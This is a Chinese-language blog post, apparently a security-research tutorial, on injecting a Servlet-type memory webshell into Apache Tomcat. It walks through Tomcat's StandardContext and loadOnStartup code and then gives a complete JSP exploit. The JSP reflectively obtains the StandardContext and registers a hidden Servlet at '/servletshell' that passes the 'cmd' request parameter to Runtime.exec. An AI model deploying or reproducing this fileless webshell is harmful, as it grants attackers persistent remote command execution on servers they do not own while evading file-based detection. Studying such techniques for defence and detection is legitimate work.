Tomcat内存马:Servlet型

Uncategorized
869 words

流程分析

众所周知在Tomcat进行初始化的时候,三大组件遵循:Listener -> Filter -> Servlet 的加载顺序。调用栈大体如下,这里就不带着分析了,是在StandardContext#startInternal里面按顺序加载的。

我们直接来到栈顶的 StandardContext#configureContext() 这里。这个方法里面通过对web.xml进行解析,按照顺序把filterMaps,filterDef,StandardWrapper这样的对象给创建了出来,我们这里重点关注一下StandardWrapper这一部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private void configureContext(WebXml webxml) {
// As far as possible, process in alphabetical order so it is easy to
// check everything is present
// Some validation depends on correct public ID
context.setPublicId(webxml.getPublicId());
... //设置StandardContext参数
for (ServletDef servlet : webxml.getServlets().values()) {
//创建StandardWrapper对象
Wrapper wrapper = context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
//设置LoadOnStartup属性
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
...
wrapper.setOverridable(servlet.isOverridable());
//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
//添加路径映射
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
}
...
}
//上面这段加注释的都是搬运参考的,确实写的很好嗷

在这段代码里,configureContext成功把StandWrapper创建了出来,并添加到了context.children里面。

创建完了之后,fireLifecycleEvent基本就是个出栈的过程了。我们回到StandardContext这里,继续跟进一下剩下的StandardWrapper加载流程。



把前置条件都准备好了,我们来到loadOnstartup这里,也就是加载Servlet的部分这里,由于loadOnStartUp这里比较重要,我们直接粘贴出来,就不截图了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public boolean loadOnStartup(Container children[]) {
// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
//判断loadOnStartup的值,如果小于零直接不加载
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper);
}
// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
}

引用一下其他师傅给这里的分析

1
2
3
注意这里对于Wrapper对象中`loadOnStartup`属性的值进行判断,只有大于0的才会被放入list进行后续的`wrapper.load()`加载调用。

这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过`loadOnStartup`属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。

到这里为止Servlet的加载流程基本就结束了,正式来到Exp编写环节

Exp编写(引用)

通过上文的分析我们能够总结出创建Servlet的流程
1.获取StandardContext对象
2.编写恶意Servlet
3.通过StandardContext.createWrapper()创建StandardWrapper对象
4.设置StandardWrapper对象的loadOnStartup属性值
5.设置StandardWrapper对象的ServletName属性值
6.设置StandardWrapper对象的ServletClass属性值
7.将StandardWrapper对象添加进StandardContext对象的children属性中
8.通过StandardContext.addServletMappingDecoded()添加对应的路径映射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>

<%!

public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
} @Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
} } @Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
} }
%>

<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>

<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servletshell",name);
%>

运行结果如下